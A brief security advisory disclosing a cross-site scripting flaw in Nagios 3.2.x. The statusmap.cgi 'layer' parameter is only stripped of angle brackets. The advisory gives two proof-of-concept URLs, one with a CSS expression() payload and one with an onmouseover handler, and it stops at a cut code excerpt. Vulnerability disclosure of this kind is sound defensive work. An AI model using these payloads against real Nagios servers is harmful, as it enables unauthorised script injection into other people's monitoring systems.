Advisory: Cross-Site Scripting vulnerability in Nagios Advisory ID: SSCHADV2011-002 Author: Stefan Schurtz Affected Software: Successfully tested on: nagios-3.2.0 / nagios-3.2.3 Vendor URL: http://www.nagios.org Vendor Status: ID 0000207: Cross-Site Scripting vulnerability in Nagios CVE-ID: - ========================== Vulnerability Description: ========================== This is Cross-Site Scripting vulnerability JavaScript can be included in style sheets by using "expression()" (IE only) ================== Technical Details: ================== The function "strip_html_brackets" strip > and < from string but it's not enough to prevent XSS attacks in "statusmap.cgi&layer=" http://site/nagios/cgi-bin/statusmap.cgi?layer=' style=xss:expression(alert('XSS')) ' http://site/nagios/cgi-bin/statusmap.cgi?layer=' onmouseover="alert('XSS')" ' ----------- cgiutils.c ----------- [schnipp]
